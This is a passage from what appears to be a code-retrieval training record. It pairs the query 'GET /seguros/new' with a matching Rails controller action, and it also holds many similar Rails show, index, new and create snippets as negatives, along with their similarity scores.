@consumo }\n end\n end", "def show\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end", "def show\n @spiel = Spiel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spiel }\n end\n end", "def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end", "def index\n @clientes = Cliente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clientes }\n end\n end", "def show\n @coisa = Coisa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @coisa }\n end\n end", "def index\n @seguimientos = Seguimiento.all\n end", "def show\n @safra_verdoso = SafraVerdoso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @safra_verdoso }\n end\n end", "def index\n @clues = Clue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clues }\n end\n end", "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end", "def show\n @receipe = Receipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @receipe }\n end\n end", "def show\n @humanidades1 = Humanidades1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades1 }\n end\n end", "def show\n @cuerpo = Cuerpo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuerpo }\n end\n end", "def show\r\n @asistencia = Asistencia.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @asistencia }\r\n end\r\n end", "def index\n @usuarios = Usuario.por_colegio(colegio.id).order(\"nombre\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end", "def show\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competicao }\n end\n end", "def show\n @sotrudniki = Sotrudniki.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sotrudniki }\n end\n end", "def show\n @sabio = Sabio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sabio }\n end\n end", "def show\n @reconocimiento = Reconocimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @reconocimiento }\n end\n end", "def show\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caixa }\n end\n end", "def index\n @distros = getmydata(\"Distro\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @distros }\n end\n end", "def show\n @asociado = Asociado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asociado }\n end\n end", "def show\n @ultimo_grado_de_estudio = UltimoGradoDeEstudio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ultimo_grado_de_estudio }\n end\n end", "def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end", "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n # format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end", "def index\n rol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"DN\" or rol.nombre == \"ACRM\"\n @colegiaturas = Colegiatura.all\n else\n @colegiaturas = Colegiatura.where(:sede_id=>current_user.sede)\n end \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegiaturas }\n end\n end", "def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end", "def show\n @inscrito = Inscrito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inscrito }\n end\n end", "def show\n @guille = Guille.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @guille }\n end\n end", "def index\n @minicursos = Minicurso.all\n\t\t#@minicursos = Minicurso.scoped\n\t\t#@users = Minicurso.inscritos(params[:id]) if params[:id].present?\n\n respond_to do |format|\n\t\t\t format.html # index.html.erb\n\t\t\t format.json { render json: @minicursos }\n end\n end", "def index\n @categorias = Categoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @categorias }\n end\n end", "def show\n @fulcliente = Fulcliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fulcliente }\n end\n end", "def show\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @asiento }\n end\n end", "def index\n @recipies = Recipy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipies }\n end\n end", "def show\n @usuario = Usuario.find(params[:id])\n\n render json: @usuario\n end", "def show\n @tipo_convenio = TipoConvenio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_convenio }\n end\n end", "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end", "def show\n @osoba = Osoba.find(params[:id])\n\n render json: @osoba\n end", "def show\n @recoleccion = Recoleccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recoleccion }\n end\n end", "def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end", "def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end", "def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end", "def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end", "def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end", "def index\n @pedidos = Pedido.find(:all, :conditions => [\"cliente_id=?\", session[:usuario_id]])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pedidos }\n end\n end", "def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @livro }\n end\n end", "def index\n @comprobantes = Comprobante.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comprobantes }\n end\n end", "def index\n @ativo_outros = AtivoOutro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ativo_outros }\n end\n end", "def show\n @tipo_negocio = TipoNegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_negocio }\n end\n end", "def index\n \treclamos = Reclamo.all\n \trender json: reclamos.to_json(include: [:tipo_reclamo, :ubicacion, :user], methods: [:valoracion])\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end" ]
[ "0.67843974", "0.67638767", "0.6757166", "0.6749493", "0.6685769", "0.6617606", "0.6471783", "0.64687014", "0.6468379", "0.64639306", "0.6462563", "0.64357704", "0.6415008", "0.6414201", "0.64138806", "0.64032197", "0.63844514", "0.6372025", "0.6363893", "0.6360834", "0.6332952", "0.63246804", "0.6322131", "0.6294774", "0.62899494", "0.6264286", "0.6243485", "0.624107", "0.62391806", "0.6238308", "0.62231743", "0.6209765", "0.61992943", "0.6197457", "0.6197457", "0.61964756", "0.61964756", "0.61876076", "0.6170017", "0.6158607", "0.6157848", "0.6146463", "0.6140868", "0.6132262", "0.6127412", "0.6126768", "0.61251265", "0.61245203", "0.61194545", "0.61187124", "0.61084545", "0.61066735", "0.61031634", "0.60990137", "0.60952497", "0.6091693", "0.608901", "0.60834384", "0.60821366", "0.60790986", "0.6078825", "0.6078663", "0.6077977", "0.6077235", "0.60762274", "0.6075441", "0.60735655", "0.60689414", "0.6067669", "0.60639954", "0.60637486", "0.6060579", "0.60561967", "0.6051919", "0.6050671", "0.60490793", "0.60489476", "0.6048536", "0.60448", "0.6044057", "0.60435814", "0.60419905", "0.60415405", "0.6031179", "0.6027098", "0.602536", "0.60168946", "0.6013308", "0.6010212", "0.6005395", "0.5998531", "0.5998531", "0.5998531", "0.59939927", "0.5990768", "0.5989597", "0.5988947", "0.5987354", "0.5987309", "0.5985299" ]
0.7415031
0
GET /seguros/new GET /seguros/new.json
def new @seguro = Seguro.new respond_to do |format| format.html # new.html.erb format.json { render json: @seguro } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @selecao = Selecao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @selecao }\n end\n end", "def new\n @sezione = Sezione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sezione }\n end\n end", "def new\n @seguidore = Seguidore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seguidore }\n end\n end", "def new\n @sistema = Sistema.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sistema }\n end\n end", "def new\n @suplente = Suplente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @suplente }\n end\n end", "def new\n @spiel = Spiel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spiel }\n end\n end", "def new\n @sitio_entrega = SitioEntrega.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sitio_entrega }\n end\n end", "def new\n @servicio = Servicio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @servicio }\n end\n end", "def new\n @veiculo = Veiculo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @veiculo }\n end\n end", "def new\n @respuesta = Respuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @respuesta }\n end\n end", "def new\n @peso = Peso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @peso }\n end\n end", "def new\n @caixa = Caixa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @caixa }\n end\n end", "def create\n @seguro = Seguro.new(params[:seguro])\n\n respond_to do |format|\n if @seguro.save\n format.html { redirect_to @seguro, notice: 'Seguro was successfully created.' }\n format.json { render json: @seguro, status: :created, location: @seguro }\n else\n format.html { render action: \"new\" }\n format.json { render json: @seguro.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recurso }\n end\n end", "def new\n @tecnico = Tecnico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tecnico }\n end\n end", "def new\n @estatuto = Estatuto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @estatuto }\n end\n end", "def new\n @sugerencia = Sugerencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sugerencia }\n end\n end", "def new\n @sitio = Sitio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sitio }\n end\n end", "def new\n @comentario = Comentario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comentario }\n end\n end", "def new\n @requerimiento = Requerimiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @requerimiento }\n end\n end", "def new\n @asociado = Asociado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asociado }\n end\n end", "def new\n @tecnico = Tecnico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @tecnico }\n end\n end", "def new\n @comisaria = Comisaria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comisaria }\n end\n end", "def new\n @distro = Distro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distro }\n end\n end", "def new\n @distro = Distro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distro }\n end\n end", "def new\n @ventas_seguimiento = Ventas::Seguimiento.new params[:ventas_seguimiento]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ventas_seguimiento }\n end\n end", "def new\n @colegio = Colegio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegio }\n end\n end", "def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end", "def new\n @socio = Socio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @socio }\n end\n end", "def new\r\n @salle = Salle.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @salle }\r\n end\r\n end", "def new\n @coisa = Coisa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @coisa }\n end\n end", "def new\n @livro = Livro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @livro }\n end\n end", "def new\n @concurso = Concurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @concurso }\n end\n end", "def new\n @sesion = Sesion.where(entidad_paraestatal_id: @entidad_paraestatal.id).new\n #@sesion.suplente = Suplente.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sesion }\n end\n end", "def new\n @escola = Escola.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @escola }\n end\n end", "def new\n @contrato = Contrato.new\n\n respond_to do |format|\n format.html { render layout: nil } # new.html.erb\n format.json { render json: @contrato }\n end\n end", "def new\n @tipo_convenio = TipoConvenio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_convenio }\n end\n end", "def new\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @juzgado }\n end\n end", "def new\n @tipo_negocio = TipoNegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_negocio }\n end\n end", "def new\n @prioridade = Prioridade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade }\n end\n end", "def new\n @carrera = Carrera.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @carrera }\n end\n end", "def new\n @reconocimiento = Reconocimiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @reconocimiento }\n end\n end", "def new\n @torso = Torso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @torso }\n end\n end", "def new\n @spieler = Spieler.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spieler }\n end\n end", "def new\n @socio = Socio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @socio }\n end\n end", "def new\n @sotrudniki = Sotrudniki.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sotrudniki }\n end\n end", "def new\n\tadd_breadcrumb \"Nuevo usuario\", :new_usuario_path\n @usuario = Usuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @usuario }\n end\n end", "def new\n\tadd_breadcrumb \"Nuevo libro\", :new_libro_path\n @libro = Libro.new\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @libro }\n end\n end", "def new\n @clue = Clue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clue }\n end\n end", "def new\n @clue = Clue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clue }\n end\n end", "def new\n @trnodo = Trnodo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trnodo }\n end\n end", "def new\n @solicitud_servicio = SolicitudServicio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @solicitud_servicio }\n end\n end", "def new\n @pedido = Pedido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pedido }\n end\n end", "def new\n @produto = Produto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produto }\n end\n end", "def new\n @estudiante = Estudiante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @estudiante }\n end\n end", "def new\n @presenza = Presenza.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @presenza }\n end\n end", "def new\n @modelo = Modelo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @modelo }\n end\n end", "def new\n @noto = Noto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @noto }\n end\n end", "def new\n @prestador = Prestador.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prestador }\n end\n end", "def new\n @vocacionada = Vocacionada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vocacionada }\n end\n end", "def new\n @premio = Premio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @premio }\n end\n end", "def new\n @comprobante = Comprobante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comprobante }\n end\n end", "def new\n @registro_record = RegistroRecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registro_record }\n end\n end", "def new\n @tipo_usuario = TipoUsuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_usuario }\n end\n end", "def new\n @competicao = Competicao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competicao }\n end\n end", "def new\n @status_de_la_inscripcion = StatusDeLaInscripcion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_de_la_inscripcion }\n end\n end", "def new\n @publicidad = Publicidad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @publicidad }\n end\n end", "def new\n @publicidade = Publicidade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @publicidade }\n end\n end", "def new\n @propuesta = Propuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @propuesta }\n end\n end", "def new\n @projeto = Projeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projeto }\n end\n end", "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end", "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end", "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end", "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end", "def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end", "def new\n @lore = Lore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lore }\n end\n end", "def new\n @produccion = Produccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produccion }\n end\n end", "def new\n @produccion = Produccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produccion }\n end\n end", "def new\n @pagamento = Pagamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pagamento }\n end\n end", "def new\n @tipo_pensum = TipoPensum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_pensum }\n end\n end", "def new\n @empresa = Empresa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @empresa }\n end\n end", "def new\n @premio = Premio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @premio }\n end\n end", "def new\n @colegiatura = Colegiatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegiatura }\n end\n end", "def new\n @surname = Surname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @surname }\n end\n end", "def new\n @archivo = Archivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @archivo }\n end\n end", "def new\n @utente = Utente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @utente }\n end\n end", "def new\n @guille = Guille.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @guille }\n end\n end", "def new\n @dossier = Dossier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dossier }\n end\n end", "def new\n @safra_verdoso = SafraVerdoso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @safra_verdoso }\n end\n end", "def new\n @detalle = Detalle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @detalle }\n end\n end", "def new\n @asignatura = Asignatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asignatura }\n end\n end", "def new\n @torneo = Torneo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @torneo }\n end\n end", "def new\n @stone = Stone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stone }\n end\n end", "def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @po }\n end\n end", "def new\n @puntaje = Puntaje.new\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @puntaje }\n end\n end", "def new\n @puntaje = Puntaje.new\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @puntaje }\n end\n end", "def new\n @metodo = Metodo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @metodo }\n end\n end", "def new\n @pessoa_receber = PessoaReceber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @pessoa_receber }\n end\n end", "def create\n @veiculo = Veiculo.new(params[:veiculo])\n\n respond_to do |format|\n if @veiculo.save\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully created.' }\n format.json { render :json => @veiculo, :status => :created, :location => @veiculo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @relogio = Relogio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @relogio }\n end\n end" ]
[ "0.77931243", "0.77308655", "0.77177453", "0.7463062", "0.7461351", "0.74605805", "0.74358726", "0.74169", "0.7406674", "0.7361798", "0.7358668", "0.73584545", "0.73314255", "0.73159313", "0.7303049", "0.7297028", "0.7284972", "0.7283781", "0.7282546", "0.7280062", "0.7274685", "0.7253209", "0.7251406", "0.7244525", "0.7244525", "0.7234894", "0.7231053", "0.7225189", "0.72199553", "0.72194684", "0.7218937", "0.7218321", "0.7215471", "0.72098565", "0.72045654", "0.7198956", "0.71976006", "0.71973014", "0.719573", "0.7181152", "0.7168697", "0.7167103", "0.71625024", "0.7160807", "0.71603626", "0.7160101", "0.7158064", "0.71553797", "0.71452487", "0.71452487", "0.71329623", "0.7122191", "0.7115746", "0.71139354", "0.71105325", "0.7109889", "0.7104169", "0.71030504", "0.7099759", "0.70994747", "0.7098739", "0.7091053", "0.7088621", "0.7085033", "0.7084496", "0.7084295", "0.7080838", "0.7076461", "0.7076327", "0.70754945", "0.7073825", "0.7073825", "0.7073825", "0.7073825", "0.7073825", "0.7072526", "0.7070798", "0.70700955", "0.706833", "0.7064188", "0.70588356", "0.70571643", "0.705263", "0.70464617", "0.70424336", "0.70385647", "0.7032843", "0.70325494", "0.7031099", "0.70278686", "0.7027344", "0.70252776", "0.7024764", "0.70243084", "0.7018598", "0.7018598", "0.701181", "0.70117307", "0.70116466", "0.7004763" ]
0.80154467
0
POST /seguros POST /seguros.json
def create @seguro = Seguro.new(params[:seguro]) respond_to do |format| if @seguro.save format.html { redirect_to @seguro, notice: 'Seguro was successfully created.' } format.json { render json: @seguro, status: :created, location: @seguro } else format.html { render action: "new" } format.json { render json: @seguro.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @soatseguro = Soatseguro.new(soatseguro_params)\n\n respond_to do |format|\n if @soatseguro.save\n format.html { redirect_to @soatseguro, notice: 'Soatseguro was successfully created.' }\n format.json { render :show, status: :created, location: @soatseguro }\n else\n format.html { render :new }\n format.json { render json: @soatseguro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @selecao = Selecao.new(params[:selecao])\n\n respond_to do |format|\n if @selecao.save\n format.html { redirect_to @selecao, notice: 'Selecao was successfully created.' }\n format.json { render json: @selecao, status: :created, location: @selecao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @selecao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def create\n @segundo = Segundo.new(segundo_params)\n\n respond_to do |format|\n if @segundo.save\n format.html { redirect_to @segundo, notice: 'Segundo was successfully created.' }\n format.json { render :show, status: :created, location: @segundo }\n else\n format.html { render :new }\n format.json { render json: @segundo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sugerencia = Sugerencia.new(params[:sugerencia])\n\n respond_to do |format|\n if @sugerencia.save\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully created.' }\n format.json { render :json => @sugerencia, :status => :created, :location => @sugerencia }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @seguimiento = Seguimiento.new(seguimiento_params)\n\n respond_to do |format|\n if @seguimiento.save\n format.html { redirect_to @seguimiento.caso, notice: \"Seguimiento creado.\" }\n format.json { render :show, status: :created, location: @seguimiento }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @seguimiento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sinistro = Sinistro.new(sinistro_params)\n\n respond_to do |format|\n if @sinistro.save\n format.html { redirect_to @sinistro, notice: 'Sinistro was successfully created.' }\n format.json { render :show, status: :created, location: @sinistro }\n else\n format.html { render :new }\n format.json { render json: @sinistro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ventas_seguimiento = Ventas::Seguimiento.new(params[:ventas_seguimiento])\n @ventas_seguimiento.usuario = current_user.name\n @ventas_seguimiento.user = current_user\n\n respond_to do |format|\n if @ventas_seguimiento.save\n format.html { redirect_to @ventas_seguimiento, notice: 'Seguimiento was successfully created.' }\n format.json { render json: @ventas_seguimiento, status: :created, location: @ventas_seguimiento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ventas_seguimiento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @socio = Socio.new(params[:socio])\n\n respond_to do |format|\n if @socio.save\n format.html { redirect_to @socio, :notice => 'Socio cadastrado com sucesso.' }\n format.json { render :json => @socio, :status => :created, :location => @socio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @solicitud = Solicitud.new(solicitud_params)\n\n respond_to do |format|\n if @solicitud.save\n format.html { redirect_to @solicitud, notice: \"Solicitud was successfully created.\" }\n format.json { render :show, status: :created, location: @solicitud }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @seguidore = Seguidore.new(params[:seguidore])\n\n respond_to do |format|\n if @seguidore.save\n format.html { redirect_to @seguidore, notice: 'Seguidore was successfully created.' }\n format.json { render json: @seguidore, status: :created, location: @seguidore }\n else\n format.html { render action: \"new\" }\n format.json { render json: @seguidore.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sintoma = Sintoma.new(sintoma_params)\n\n respond_to do |format|\n if @sintoma.save\n format.html { redirect_to @sintoma, notice: 'Sintoma was successfully created.' }\n format.json { render :show, status: :created, location: @sintoma }\n else\n format.html { render :new }\n format.json { render json: @sintoma.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @servicio = Servicio.new(params[:servicio])\n\n respond_to do |format|\n if @servicio.save\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully created.' }\n format.json { render :json => @servicio, :status => :created, :location => @servicio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @sezione = Sezione.new(params[:sezione])\n\n respond_to do |format|\n if @sezione.save\n format.html { redirect_to sezioni_path, notice: 'Sezione was successfully created.' }\n format.json { render json: @sezione, status: :created, location: @sezione }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sezione.errors, status: :unprocessable_entity }\n end\n end\n end", "def criar_sobrevivente\n @suvivor = Sobrevivente.create(\n name: params[:name], genero: params[:genero], idade: params[:idade],\n lat: params[:lat], lon: params[:lon],\n agua: params[:agua], comida: params[:comida], medicamento: params[:medicamento],\n municao: params[:municao]\n )\n render json: @suvivor\n end", "def create\n @simulado = Simulado.new(simulado_params)\n\n respond_to do |format|\n if @simulado.save\n format.html { redirect_to @simulado, notice: 'Simulado was successfully created.' }\n format.json { render :show, status: :created, location: @simulado }\n else\n format.html { render :new }\n format.json { render json: @simulado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @solicitud = Solicitud.new(solicitud_params)\n\n respond_to do |format|\n if @solicitud.save\n format.html { redirect_to @solicitud, notice: 'Solicitud was successfully created.' }\n format.json { render action: 'show', status: :created, location: @solicitud }\n else\n format.html { render action: 'new' }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @solicitante = Solicitante.new(solicitante_params)\n\n respond_to do |format|\n if @solicitante.save\n format.html { redirect_to @solicitante, notice: 'Solicitante was successfully created.' }\n format.json { render :show, status: :created, location: @solicitante }\n else\n format.html { render :new }\n format.json { render json: @solicitante.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @soiree = 